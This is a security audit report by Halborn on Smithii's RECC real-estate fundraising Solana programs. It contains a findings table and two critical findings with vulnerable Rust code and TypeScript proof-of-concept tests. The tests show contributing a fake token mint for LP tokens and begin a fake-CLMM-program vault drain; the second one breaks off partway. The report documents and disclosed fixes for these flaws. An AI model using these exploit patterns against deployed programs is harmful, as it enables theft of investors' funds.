RECC - Smithii


Prepared by:

Halborn Logo

HALBORN

Last Updated 09/19/2025

Date of Engagement: July 29th, 2025 - August 4th, 2025

Summary

100% of all REPORTED Findings have been addressed

All findings

10

Critical

2

High

0

Medium

2

Low

3

Informational

3


1. Introduction

Smithii engaged Halborn to conduct a security assessment of the RECC programs from 29th July to 4th August, 2025. The security assessment was scoped to the smart contracts provided in the GitHub repository recc-program, commit hashes and further details can be found in the Scope section of this report.


The RECC Program is a Real World Asset (RWA) investment platform that enables investors to participate in real estate opportunities. Anyone can list projects on the platform, and investors can contribute funds to these projects in exchange for earnings once the business is completed in the real world. The platform also supports the creation of external markets, allowing investors to exit their positions early.


2. Assessment Summary


Halborn was provided 5 days for the engagement and assigned 1 full-time security engineers to review the security of the Solana Programs in scope. The engineers are blockchain and smart contract security experts with advanced smart contract hacking skills, and deep knowledge of multiple blockchain protocols.

The purpose of the assessment is to:

    • Identify potential security issues within the Solana Program.

    • Ensure that smart contract functionality operates as intended.


In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which were mostly addressed by the Smithii team. The main ones were the following:

    • Store the contribution token mint in the 'fundraise' PDA during 'create_fundraise', and add a check in 'contribute' to ensure the supplied 'contribution_mint' matches the one stored in the fundraise account.

    • Validate that 'clmm_program' passed in 'migrate' instruction matches raydium CLMM Program ID.

    • Move the initial Raydium CLMM pool creation and initialization logic to the 'create_fundraise' instruction.

    • Remove the current balance check 'is_vault_ata_credited' in claim instruction.

    • Ensure that the 'project' account provided in the 'claim' instruction matches the 'project' key stored in the 'fundraise' PDA.

    • Utilize CreateV1CpiBuilder from the 'mpl-token-metadata' provided by the Metaplex Token Metadata program. Additionally, the program should validate that the 'contribution_mint' does not have the TransferFee extension enabled.


3. Test Approach and Methodology


Halborn performed a combination of a manual review of the source code and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of the program assessment. While manual testing is recommended to uncover flaws in business logic, processes, and implementation; automated testing techniques help enhance coverage of programs and can quickly identify items that do not follow security best practices.

The following phases and associated tools were used throughout the term of the assessment:

    • Research into the architecture, purpose, and use of the platform.

    • Manual program source code review to identify business logic issues.

    • Mapping out possible attack vectors.

    • Thorough assessment of safety and usage of critical Rust variables and functions in scope that could lead to arithmetic vulnerabilities.

    • Scanning dependencies for known vulnerabilities (cargo audit).

    • Local runtime testing (anchor test).


4. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on two sets of Metrics and a Severity Coefficient. This system is inspired by the industry standard Common Vulnerability Scoring System.
The two Metric sets are: Exploitability and Impact. Exploitability captures the ease and technical means by which vulnerabilities can be exploited and Impact describes the consequences of a successful exploit.
The Severity Coefficients is designed to further refine the accuracy of the ranking with two factors: Reversibility and Scope. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.
The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.
The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

4.1 EXPLOITABILITY

Attack Origin (AO):
Captures whether the attack requires compromising a specific account.
Attack Cost (AC):
Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.
Attack Complexity (AX):
Describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.
Metrics:
EXPLOITABILITY METRIC (mem_e)METRIC VALUENUMERICAL VALUE
Attack Origin (AO)Arbitrary (AO:A)
Specific (AO:S)
1
0.2
Attack Cost (AC)Low (AC:L)
Medium (AC:M)
High (AC:H)
1
0.67
0.33
Attack Complexity (AX)Low (AX:L)
Medium (AX:M)
High (AX:H)
1
0.67
0.33
Exploitability EE is calculated using the following formula:

E=meE = \prod m_e

4.2 IMPACT

Confidentiality (C):
Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.
Integrity (I):
Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.
Availability (A):
Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.
Deposit (D):
Measures the impact to the deposits made to the contract by either users or owners.
Yield (Y):
Measures the impact to the yield generated by the contract for either users or owners.
Metrics:
IMPACT METRIC (mIm_I)METRIC VALUENUMERICAL VALUE
Confidentiality (C)None (I:N)
Low (I:L)
Medium (I:M)
High (I:H)
Critical (I:C)
0
0.25
0.5
0.75
1
Integrity (I)None (I:N)
Low (I:L)
Medium (I:M)
High (I:H)
Critical (I:C)
0
0.25
0.5
0.75
1
Availability (A)None (A:N)
Low (A:L)
Medium (A:M)
High (A:H)
Critical (A:C)
0
0.25
0.5
0.75
1
Deposit (D)None (D:N)
Low (D:L)
Medium (D:M)
High (D:H)
Critical (D:C)
0
0.25
0.5
0.75
1
Yield (Y)None (Y:N)
Low (Y:L)
Medium (Y:M)
High (Y:H)
Critical (Y:C)
0
0.25
0.5
0.75
1
Impact II is calculated using the following formula:

I=max(mI)+mImax(mI)4I = max(m_I) + \frac{\sum{m_I} - max(m_I)}{4}

4.3 SEVERITY COEFFICIENT

Reversibility (R):
Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.
Scope (S):
Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.
Metrics:
SEVERITY COEFFICIENT (CC)COEFFICIENT VALUENUMERICAL VALUE
Reversibility (rr)None (R:N)
Partial (R:P)
Full (R:F)
1
0.5
0.25
Scope (ss)Changed (S:C)
Unchanged (S:U)
1.25
1
Severity Coefficient CC is obtained by the following product:

C=rsC = rs

The Vulnerability Severity Score SS is obtained by:

S=min(10,EIC10)S = min(10, EIC * 10)

The score is rounded up to 1 decimal places.
SeverityScore Value Range
Critical9 - 10
High7 - 8.9
Medium4.5 - 6.9
Low2 - 4.4
Informational0 - 1.9

5. SCOPE

REPOSITORY
(a) Repository: RECC-Program
(b) Assessed Commit ID: 2acbe81
(c) Items in scope:
  • program/Cargo.toml
  • program/src/instructions/withdraw.rs
  • program/src/instructions/create.rs
↓ Expand ↓
Out-of-Scope: Third party dependencies and economic attacks.
Remediation Commit ID:
  • b39f4c0
  • eb0bf45
  • 2608d37
  • 9851e03
  • e673649
  • 728b731
  • 46ba3cf
Out-of-Scope: New features/implementations after the remediation commit IDs.

6. Assessment Summary & Findings Overview

Critical

2

High

0

Medium

2

Low

3

Informational

3

Security analysisRisk levelRemediation Date
Missing Validation on Contribution Mint Enables Vault Drain and Raydium LP TheftCriticalSolved - 07/31/2025
Missing Validation on clmm_program Allows Fundraise Vault DrainCriticalSolved - 09/08/2025
Unrestricted migrate Invocation Before Target Reached Causes Fund MisallocationMediumSolved - 09/08/2025
First Claim Can Block All Subsequent Claims MediumSolved - 09/06/2025
Missing validation in claim instruction allow pre-mature withdraw of locked fundsLowSolved - 07/31/2025
Pool Front-Running Blocks External Market CreationLowSolved - 09/08/2025
Token-2022 LP Mint and Transfer Fee Extension Not Properly SupportedLowSolved - 09/08/2025
Missing Validation in Multiple InstructionsInformationalPartially Solved - 09/08/2025
Users Can Bypass Protocol Fees by Claiming Small AmountsInformationalSolved - 09/08/2025
Unused Accounts and Redundant PDA DerivationsInformationalSolved - 09/08/2025

7. Findings & Tech Details

7.1 Missing Validation on Contribution Mint Enables Vault Drain and Raydium LP Theft

//

Critical

Description

The contribute instruction allows users to deposit tokens into a project vault in exchange for LP tokens that represent their proportional stake. These LP tokens can later be redeemed for the original contribution plus yield once the project completes and is funded.


However, the instruction does not validate that the contribution_mint matches the intended token mint defined for the fundraise. As a result, users can contribute any arbitrary or fake token, receive valid LP tokens in return, and burn those LP tokens to claim real assets once the vault is funded. This mainly has two impacts:

  1. Attackers can mint LP tokens using worthless tokens and later claim legitimate yield and principal from the vault.

  2. LP liquidity provided in Raydium can be stolen by these LP tokens.


Note: While the project can be configured to restrict participation in the fundraise to whitelisted users, this issue still applies, but is scoped to whitelisted participants.


program/src/instructions/contribute.rs

#[derive(Accounts)]
pub struct Contribute<'info> {
  #[account(mut)]
  pub authority: Signer<'info>,

  #[account(mut)]
  pub fundraise: Account<'info, Fundraise>,

  #[account(mut)]
  pub project: Account<'info, Project>,

  #[account(
    init_if_needed,
    payer = authority,
    associated_token::mint = lp_mint,
    associated_token::authority = authority
  )]
  pub authority_lp_ata: InterfaceAccount<'info, TokenAccount>,

  #[account(
    mut,
    associated_token::mint = contribution_mint,
    associated_token::authority = authority,
  )]
  pub authority_contribution_ata: InterfaceAccount<'info, TokenAccount>,

  #[account(
    mut,
    associated_token::mint = contribution_mint,
    associated_token::authority = fundraise,
  )]
  pub vault_ata: InterfaceAccount<'info, TokenAccount>,

  // mint of the lp tokens
  #[account(mut)]
  pub lp_mint: InterfaceAccount<'info, Mint>,

  // mint of the token that will be used for contributing
  #[account(mut)]
  pub contribution_mint: InterfaceAccount<'info, Mint>,

  pub system_program: Program<'info, System>,

  pub token_program: Interface<'info, TokenInterface>,

  pub associated_token_program: Program<'info, AssociatedToken>,
}

 #[access_control(ctx.accounts.validate(proof, amount))]
  pub fn contribute(
    ctx: Context<Contribute>,
    amount: u64,
    proof: Option<Vec<[u8; 32]>>
  ) -> Result<()> {
    let fundraise: &mut Account<'_, Fundraise> = &mut ctx.accounts.fundraise;
    let lp_mint = ctx.accounts.lp_mint.key();

    // ? transfer tokens to the vault ata
    let cpi_accounts = TransferChecked {
      from: ctx.accounts.authority_contribution_ata.to_account_info().clone(),
      mint: ctx.accounts.contribution_mint.to_account_info().clone(),
      to: ctx.accounts.vault_ata.to_account_info().clone(),
      authority: ctx.accounts.authority.to_account_info(),
    };
    let cpi_program = ctx.accounts.token_program.to_account_info();
    let cpi_context = CpiContext::new(cpi_program, cpi_accounts);
    token_interface::transfer_checked(
      cpi_context,
      amount,
      ctx.accounts.contribution_mint.decimals
    )?;

    // ? mint tokens to user's ata
    let fundraise_bump = &[fundraise.bump];
    let signer_seeds = &[
      &[
        Fundraise::SEED.as_bytes(),
        lp_mint.as_ref(), // owns escrow wallet on soundwork
        fundraise_bump,
      ][..],
    ];
    let cpi_accounts = MintTo {
      mint: ctx.accounts.lp_mint.to_account_info().clone(),
      to: ctx.accounts.authority_lp_ata.to_account_info().clone(),
      authority: ctx.accounts.fundraise.to_account_info(),
    };
    let cpi_program = ctx.accounts.token_program.to_account_info();
    let cpi_context = CpiContext::new_with_signer(
      cpi_program,
      cpi_accounts,
      signer_seeds
    );
    token_interface::mint_to(cpi_context, amount)?;

    Ok(())
  }
}

Proof of Concept
import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { ReccProgram } from "../target/types/recc_program";
import {
  Keypair,
  LAMPORTS_PER_SOL,
  PublicKey,
  SystemProgram,
} from "@solana/web3.js";
import {
  createMint,
  getAssociatedTokenAddressSync,
  getOrCreateAssociatedTokenAccount,
  mintTo,
  TOKEN_PROGRAM_ID,
} from "@solana/spl-token";
import { assert } from "chai";

describe("recc-custom", () => {
  // Configure the client to use the local cluster.
  const provider = anchor.AnchorProvider.env();
  anchor.setProvider(provider);

  const program = anchor.workspace.reccCustom as Program<ReccProgram>;

  let signer = Keypair.generate();
  let usdcMint: PublicKey;
  let lpMint: PublicKey;
  let fundraisePda: PublicKey;
  let projectPda: PublicKey;

  let fundraisePdaTwo: PublicKey;
  let projectPdaTwo: PublicKey;
  const lpMintTwoKeypair = anchor.web3.Keypair.generate();
  let lpMintTwo = lpMintTwoKeypair.publicKey;

  let vaultAta: PublicKey;
  let vaultAtaTwo: PublicKey;
  let lpTokenMetadata: PublicKey;
  let fundraiseBump: number;
  let projectBump: number;
  let authorityContributionAta;

  // Derive LP Mint keypair
  const lpMintKeypair = anchor.web3.Keypair.generate();
  lpMint = lpMintKeypair.publicKey;
  const METADATA_PROGRAM_ID = new PublicKey(
    "metaqbxxUerdq28cj1RbAWkYQm3ybzjb6a8bt518x1s"
  );

  function delay(ms: number) {
    return new Promise((resolve) => setTimeout(resolve, ms));
  }

  const uiAmountToBn = (
    bal: Awaited<ReturnType<typeof provider.connection.getTokenAccountBalance>>
  ) => new anchor.BN(bal.value.amount);

  before("BeforeAll", async () => {
    await provider.connection.requestAirdrop(
      signer.publicKey,
      100 * LAMPORTS_PER_SOL
    );
    await delay(1000);

    // Create a contribution mint
    usdcMint = await createMint(
      provider.connection,
      signer,
      signer.publicKey,
      null,
      6
    );

    // Derive PDAs
    [fundraisePda, fundraiseBump] = await PublicKey.findProgramAddressSync(
      [Buffer.from("fundraise"), lpMint.toBuffer()],
      program.programId
    );
    [projectPda, projectBump] = await PublicKey.findProgramAddressSync(
      [Buffer.from("project"), lpMint.toBuffer()],
      program.programId
    );

    // Derive More PDAs
    [fundraisePdaTwo,] = await PublicKey.findProgramAddressSync(
      [Buffer.from("fundraise"), lpMintTwo.toBuffer()],
      program.programId
    );
    [projectPdaTwo,] = await PublicKey.findProgramAddressSync(
      [Buffer.from("project"), lpMintTwo.toBuffer()],
      program.programId
    );

  });

  it("Initializes first Project", async () => {
    const [metadataPda, _] = await PublicKey.findProgramAddressSync(
      [
        Buffer.from("metadata"),
        METADATA_PROGRAM_ID.toBuffer(),
        lpMint.toBuffer(),
      ],
      METADATA_PROGRAM_ID
    );

    vaultAta = getAssociatedTokenAddressSync(
      usdcMint,
      fundraisePda,
      true,
      TOKEN_PROGRAM_ID
    );

    const currentSlot = await provider.connection.getSlot();
    const currentBlocktime = await provider.connection.getBlockTime(
      currentSlot
    );
    const TEN_DAYS = 86400 * 10;

    const tx = await program.methods
      .createFundraise(
        {
          targetAmount: new anchor.BN(1_000_000_000),
          fundraiseStart: new anchor.BN(currentBlocktime),
          fundraiseEnd: new anchor.BN(currentBlocktime + TEN_DAYS),
          projectEnd: new anchor.BN(currentBlocktime + TEN_DAYS * 2),
          estimatedYieldBps: Number(1000),
          presaleMerkleRoot: Array(32).fill(0),
        },
        {
          name: "Fund LP Token",
          symbol: "FLP",
          uri: "https://example.com/metadata.json",
        }
      )
      .accounts({
        authority: signer.publicKey,
        lpMint,
        contributionMint: usdcMint,
        lpTokenMetadataAccount: metadataPda,
        tokenProgram: TOKEN_PROGRAM_ID,
      })
      .signers([signer, lpMintKeypair])
      .rpc();

    console.log("Fundraise created in tx:", tx);

    const project = await program.account.project.fetch(projectPda);
    assert.ok(project.lpMint.equals(lpMint));
  });

  it("Contribute 0 USDC with correct LP Tokens", async () => {
    let contributionAmount = 0;

    authorityContributionAta = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      signer,
      usdcMint,
      signer.publicKey
    );

    let authorityLpAta = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      signer,
      lpMint,
      signer.publicKey
    );

    await delay(1000);

    await program.methods
      .contribute(new anchor.BN(contributionAmount), null)
      .accounts({
        authority: signer.publicKey,
        fundraise: fundraisePda,
        project: projectPda,
        lpMint,
        contributionMint: usdcMint,
        tokenProgram: TOKEN_PROGRAM_ID,
      })
      .signers([signer])
      .rpc();

    const contributionAmountBn = new anchor.BN(contributionAmount);
    const zeroBn = new anchor.BN(0);

    const vaultBalBn = uiAmountToBn(
      await provider.connection.getTokenAccountBalance(vaultAta)
    );
    const userUSDCBalBn = uiAmountToBn(
      await provider.connection.getTokenAccountBalance(
        authorityContributionAta.address
      )
    );
    const userLpBalBn = uiAmountToBn(
      await provider.connection.getTokenAccountBalance(authorityLpAta.address)
    );

    assert.ok(
      vaultBalBn.eq(contributionAmountBn),
      "vault should hold the contributed USDC"
    );
    assert.ok(userUSDCBalBn.eq(zeroBn), "user USDC should be 0 after deposit");
    assert.ok(
      userLpBalBn.eq(contributionAmountBn),
      "user LP should equal amount contributed"
    );
  });

  it("Contribute with USDC with correct LP Tokens", async () => {
    let contributionAmount = 100 * 1_000_000;

    authorityContributionAta = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      signer,
      usdcMint,
      signer.publicKey
    );

    mintTo(
      provider.connection,
      signer,
      usdcMint,
      authorityContributionAta.address,
      signer.publicKey,
      100 * 10 ** 6
    );

    let authorityLpAta = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      signer,
      lpMint,
      signer.publicKey
    );

    await delay(1000);

    await program.methods
      .contribute(new anchor.BN(contributionAmount), null)
      .accounts({
        authority: signer.publicKey,
        fundraise: fundraisePda,
        project: projectPda,
        lpMint,
        contributionMint: usdcMint,
        tokenProgram: TOKEN_PROGRAM_ID,
      })
      .signers([signer])
      .rpc();

    const contributionAmountBn = new anchor.BN(contributionAmount);
    const zeroBn = new anchor.BN(0);

    const vaultBalBn = uiAmountToBn(
      await provider.connection.getTokenAccountBalance(vaultAta)
    );
    const userUSDCBalBn = uiAmountToBn(
      await provider.connection.getTokenAccountBalance(
        authorityContributionAta.address
      )
    );
    const userLpBalBn = uiAmountToBn(
      await provider.connection.getTokenAccountBalance(authorityLpAta.address)
    );

    assert.ok(
      vaultBalBn.eq(contributionAmountBn),
      "vault should hold the contributed USDC"
    );
    assert.ok(userUSDCBalBn.eq(zeroBn), "user USDC should be 0 after deposit");
    assert.ok(
      userLpBalBn.eq(contributionAmountBn),
      "user LP should equal amount contributed"
    );
  });

  let unexpectedMint;

  it("Contribute with arbitrary/unexpected Token Mint and LP Tokens corresponding to the project", async () => {
    // Create a contribution mint
    unexpectedMint = await createMint(
      provider.connection,
      signer,
      signer.publicKey,
      null,
      6
    );

    let contributionAmount = 100 * 1_000_000;

    let authorityUnexpectedContributionAta =
      await getOrCreateAssociatedTokenAccount(
        provider.connection,
        signer,
        unexpectedMint,
        signer.publicKey
      );

    // Self mint some tokens
    mintTo(
      provider.connection,
      signer,
      unexpectedMint,
      authorityUnexpectedContributionAta.address,
      signer.publicKey,
      100 * 10 ** 6
    );

    // Create a vault for unpexted token
    let unexpectedvaultAta = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      signer,
      unexpectedMint,
      fundraisePda,
      true
    );

    let authorityLpAta = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      signer,
      lpMint,
      signer.publicKey
    );

    await delay(1000);

    await program.methods
      .contribute(new anchor.BN(contributionAmount), null)
      .accounts({
        authority: signer.publicKey,
        fundraise: fundraisePda,
        project: projectPda,
        lpMint,
        contributionMint: unexpectedMint,
        tokenProgram: TOKEN_PROGRAM_ID,
      })
      .signers([signer])
      .rpc();

    const contributionAmountBn = new anchor.BN(contributionAmount);
    const doubledBn = contributionAmountBn.muln(2); // Before 100_000_000 + new 100_000_000
    const zeroBn = new anchor.BN(0);

    const vaultUSDCBalBn = uiAmountToBn(
      await provider.connection.getTokenAccountBalance(vaultAta)
    );
    const vaultUnexpBalBn = uiAmountToBn(
      await provider.connection.getTokenAccountBalance(
        unexpectedvaultAta.address
      )
    );
    const userUnexpBalBn = uiAmountToBn(
      await provider.connection.getTokenAccountBalance(
        authorityUnexpectedContributionAta.address
      )
    );
    const userLpBalBn = uiAmountToBn(
      await provider.connection.getTokenAccountBalance(authorityLpAta.address)
    );

    assert.ok(
      vaultUSDCBalBn.eq(contributionAmountBn),
      "USDC vault should still have original 100 USDC"
    );
    assert.ok(
      vaultUnexpBalBn.eq(contributionAmountBn),
      "unexpected-mint vault should now have 100 tokens"
    );
    assert.ok(
      userUnexpBalBn.eq(zeroBn),
      "user unexpected-mint ATA should be empty"
    );
    assert.ok(
      userLpBalBn.eq(doubledBn),
      "user LP balance should now be doubled (200)"
    );
  });

});

Result of running the testcase



BVSS
Recommendation

It is recommended to store the contribution token mint in the fundraise PDA during create_fundraise, and add a check in contribute to ensure the supplied contribution_mint matches the one stored in the fundraise account.


Remediation Comment

SOLVED: The RECC team resolved the finding by checking that the contribution mint relates to the fundraising PDA.

Remediation Hash
b39f4c002fb3a65ec77750d0ed7040f784617487

7.2 Missing Validation on clmm_program Allows Fundraise Vault Drain

//

Critical

Description

The migrate instruction allows anyone to bootstrap external liquidity by creating a Raydium CLMM pool and injecting 10% of the raised contribution tokens. However, the instruction accepts the clmm_program as AccountInfo without verifying that it matches the expected Raydium CLMM program ID. This leads to the following impact:

  1. Any attacker can drain all fundraise vaults by repeatedly invoking migrate with a fake or attacker controlled program irrespective of if fundraise is over.

  2. If the legitimate pool has already been created using migrate in the intended way, an attacker can invoke migrate again with his controlled program. This will enables attacker to mint LP tokens to their token account and then perform swaps to retrieve the liquidity originally seeded in the legitimate Raydium pool.


Additionally, there is no restriction on who can call the migrate instruction or when it can be executed (i.e, before the fundraise completes), further expanding the attack surface across all fundraises.


program/src/instructions/migrate.rs

#[derive(Accounts)]
pub struct Migrate<'info> {
  #[account(mut)]
  pub payer: Signer<'info>,

  #[account(mut)]
  pub fundraise: Box<Account<'info, Fundraise>>,

  // can be contribution or lp mint
  #[account(mut)]
  pub token_mint_0: Box<InterfaceAccount<'info, Mint>>,

  #[account(mut)]
  pub vault_ata: Box<InterfaceAccount<'info, TokenAccount>>,

  // can be contribution or lp mint
  #[account(mut)]
  pub token_mint_1: Box<InterfaceAccount<'info, Mint>>,

  /// CHECK: Initialize an account to store the pool state
  #[account(mut)]
  pub pool_state: UncheckedAccount<'info>,

  /// CHECK: we check this ourselves when building
  pub amm_config: UncheckedAccount<'info>,

  /// CHECK: Token_0 vault for the pool
  #[account(mut,)]
  pub token_vault_0: UncheckedAccount<'info>,

  /// CHECK: Token_1 vault for the pool
  #[account(mut)]
  pub token_vault_1: UncheckedAccount<'info>,

  /// CHECK: Initialize an account to store if a tick array is initialized.
  #[account(mut)]
  pub tick_array_bitmap: UncheckedAccount<'info>,

  /// CHECK: Initialize an account to store oracle observations, the account must be created off-chain, constract will initialzied it
  #[account(mut)]
  pub observation_state: UncheckedAccount<'info>,

  /// CHECK: Gen keypair for nft position
  #[account(mut)]
  pub position_nft_mint: Signer<'info>,

  /// CHECK: Token account where position NFT will be minted
  /// This account created in the contract by cpi to avoid large stack variables
  #[account(mut)]
  pub position_nft_account: UncheckedAccount<'info>,

  /// To store metaplex metadata
  /// CHECK: Safety check performed inside function body
  #[account(mut)]
  pub metadata_account: UncheckedAccount<'info>,

  /// CHECK: Store the information of market marking in range
  #[account(mut)]
  pub protocol_position: UncheckedAccount<'info>,

  /// CHECK: Account to mark the lower tick as initialized
  #[account(mut)]
  pub tick_array_lower: UncheckedAccount<'info>,

  /// CHECK:Account to store data for the position's upper tick
  #[account(mut)]
  pub tick_array_upper: UncheckedAccount<'info>,

  /// CHECK: personal position state
  #[account(mut)]
  pub personal_position: UncheckedAccount<'info>,

  /// The token_0 account deposit token to the pool
  /// since we cannot use fundraise as auth, we use
  /// this as a temp TA
  #[account(
    init_if_needed,
    payer = payer,
    associated_token::mint = token_mint_0,
    associated_token::authority = payer,
    associated_token::token_program = token_program
  )]
  pub token_account_0: Box<InterfaceAccount<'info, TokenAccount>>,

  /// The token_1 account deposit token to the pool
  /// since we cannot use fundraise as auth, we use
  /// this as a temp TA
  #[account(
    init_if_needed,
    payer = payer,
    associated_token::mint = token_mint_1,
    associated_token::authority = payer,
    associated_token::token_program = token_program
  )]
  pub token_account_1: Box<InterfaceAccount<'info, TokenAccount>>,

  pub rent: Sysvar<'info, Rent>,

  /// CHECK: we check this ourselves when building
  pub clmm_program: AccountInfo<'info>,

  pub system_program: Program<'info, System>,

  pub metadata_program: Program<'info, Metadata>,

  pub token_program_2022: Program<'info, Token2022>,

  pub token_program: Interface<'info, TokenInterface>,

  pub associated_token_program: Program<'info, AssociatedToken>,
}

Proof of Concept
import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { ReccProgram } from "../target/types/recc_program";

import {
  createMint,
  getAssociatedTokenAddressSync,
  getOrCreateAssociatedTokenAccount,
  mintTo,
  TOKEN_PROGRAM_ID,
} from "@solana/spl-token";
import {
  Keypair,
  LAMPORTS_PER_SOL,
  PublicKey,
  Signer,
} from "@solana/web3.js";

anchor.setProvider(anchor.AnchorProvider.env());
const provider = anchor.getProvider() as anchor.AnchorProvider;
const program = anchor.workspace.reccCustom as Program<ReccProgram>;
const signer = Keypair.generate();
const METADATA_PROGRAM_ID = new PublicKey(
  "metaqbxxUerdq28cj1RbAWkYQm3ybzjb6a8bt518x1s"
);

const wait = (ms: number) => new Promise((r) => setTimeout(r, ms));

async function airdrop(pubkey: PublicKey, sol = 100) {
  await provider.connection.requestAirdrop(pubkey, sol * LAMPORTS_PER_SOL);
  await wait(1_000);
}

async function createFundraise({
  lpMint,
  usdcMint,
  target,
  bps,
  fundraiseEnd,
  projectEnd,
}: {
  lpMint: Signer;
  usdcMint: PublicKey;
  target: number;
  bps: number;
  fundraiseEnd: number;
  projectEnd: number;
}) {
  const [fundraise] = PublicKey.findProgramAddressSync(
    [Buffer.from("fundraise"), lpMint.publicKey.toBuffer()],
    program.programId
  );
  const [project] = PublicKey.findProgramAddressSync(
    [Buffer.from("project"), lpMint.publicKey.toBuffer()],
    program.programId
  );
  const vaultAta = getAssociatedTokenAddressSync(
    usdcMint,
    fundraise,
    true,
    TOKEN_PROGRAM_ID
  );

  const now = (await provider.connection.getBlockTime(
    await provider.connection.getSlot()
  ))!;
  const DAY10 = 86400 * 10;

  const [metadataPda, _] = await PublicKey.findProgramAddressSync(
    [
      Buffer.from("metadata"),
      METADATA_PROGRAM_ID.toBuffer(),
      lpMint.publicKey.toBuffer(),
    ],
    METADATA_PROGRAM_ID
  );

  await program.methods
    .createFundraise(
      {
        targetAmount: new anchor.BN(target),
        fundraiseStart: new anchor.BN(now),
        fundraiseEnd: new anchor.BN(now + fundraiseEnd),
        projectEnd: new anchor.BN(now + projectEnd),
        estimatedYieldBps: bps,
        presaleMerkleRoot: Array(32).fill(0),
      },
      { name: "LP", symbol: "LP", uri: "https://example.com" }
    )
    .accounts({
      authority: signer.publicKey,
      lpMint: lpMint.publicKey,
      contributionMint: usdcMint,
      lpTokenMetadataAccount: metadataPda,
      tokenProgram: TOKEN_PROGRAM_ID,
    })
    .signers([signer, lpMint])
    .rpc();

  return { fundraise, project, vaultAta };
}

export const CLMM_PROGRAM_ID = new PublicKey(
  "DRayAUgENGQBKVaX8owNhgzkEDyoHTGVEGHVJT1E9pfH"
);

export const ammConfigKey = new PublicKey(
  "CD4aJtX11cqTCAc83nxSPkkh5JW2yjD6uwHeovjqQ1qu"
);

const POOL_SEED = "pool";
const POOL_VAULT_SEED = "pool_vault";
const OBSERVATION_SEED = "observation";
const POOL_TICK_ARRAY_BITMAP_SEED = "pool_tick_array_bitmap_extension";
const TICK_ARRAY_SEED = "tick_array";
const POSITION = "position";

const i32ToBuf = (n: number) =>
  new anchor.BN(n, 10).toArrayLike(Buffer, "be", 4);

export function derivePoolPdas(
  ammConfig: PublicKey,
  tokenMint0: PublicKey,
  tokenMint1: PublicKey,
  tickLowerStartIndex: number,
  tickUpperStartIndex: number
) {
  /* 1. pool_state */
  const [poolState, poolStateBump] = PublicKey.findProgramAddressSync(
    [
      Buffer.from(POOL_SEED),
      ammConfig.toBuffer(),
      tokenMint0.toBuffer(),
      tokenMint1.toBuffer(),
    ],
    CLMM_PROGRAM_ID
  );

  /* 2. vaults */
  const [tokenVault0, tokenVault0Bump] = PublicKey.findProgramAddressSync(
    [Buffer.from(POOL_VAULT_SEED), poolState.toBuffer(), tokenMint0.toBuffer()],
    CLMM_PROGRAM_ID
  );
  const [tokenVault1, tokenVault1Bump] = PublicKey.findProgramAddressSync(
    [Buffer.from(POOL_VAULT_SEED), poolState.toBuffer(), tokenMint1.toBuffer()],
    CLMM_PROGRAM_ID
  );

  /* 3. observation & bitmap */
  const [observationState, obsBump] = PublicKey.findProgramAddressSync(
    [Buffer.from(OBSERVATION_SEED), poolState.toBuffer()],
    CLMM_PROGRAM_ID
  );
  const [tickArrayBitmap, bitmapBump] = PublicKey.findProgramAddressSync(
    [Buffer.from(POOL_TICK_ARRAY_BITMAP_SEED), poolState.toBuffer()],
    CLMM_PROGRAM_ID
  );

  /* 4. tick-arrays for lower / upper start indices */
  const [tickArrayLower, tickArrayLowerBump] = PublicKey.findProgramAddressSync(
    [
      Buffer.from(TICK_ARRAY_SEED),
      poolState.toBuffer(),
      i32ToBuf(tickLowerStartIndex),
    ],
    CLMM_PROGRAM_ID
  );
  const [tickArrayUpper, tickArrayUpperBump] = PublicKey.findProgramAddressSync(
    [
      Buffer.from(TICK_ARRAY_SEED),
      poolState.toBuffer(),
      i32ToBuf(tickUpperStartIndex),
    ],
    CLMM_PROGRAM_ID
  );

const positionNFTMint = Keypair.generate()

  const [positionNFTMetadataAccount, positionNFTMetadataAccountBump] =
    PublicKey.findProgramAddressSync(
      [
        Buffer.from("metadata"),
        METADATA_PROGRAM_ID.toBuffer(),
        positionNFTMint.publicKey.toBuffer(),
      ],
      METADATA_PROGRAM_ID
    );

    const [personalPosition, personalPositionBump] =
    PublicKey.findProgramAddressSync(
      [
        Buffer.from("position"),
        positionNFTMint.publicKey.toBuffer(),
      ],
      CLMM_PROGRAM_ID
    );

  return {
    poolState,
    poolStateBump,

    tokenVault0,
    tokenVault0Bump,
    tokenVault1,
    tokenVault1Bump,

    observationState,
    obsBump,
    tickArrayBitmap,
    bitmapBump,

    tickArrayLower,
    tickArrayLowerBump,
    tickArrayUpper,
    tickArrayUpperBump,

    positionNFTMint,

    positionNFTMetadataAccount,
    positionNFTMetadataAccountBump,

    personalPosition, 
    personalPositionBump
  };
}

describe("Pool Tests", () => {
  let usdcMint: PublicKey;

  let lpMintA;
  let fundraiseA: PublicKey, projectA: PublicKey, vaultA: PublicKey;

  let userLpAtaA: PublicKey;
  let userUsdcAta: PublicKey;

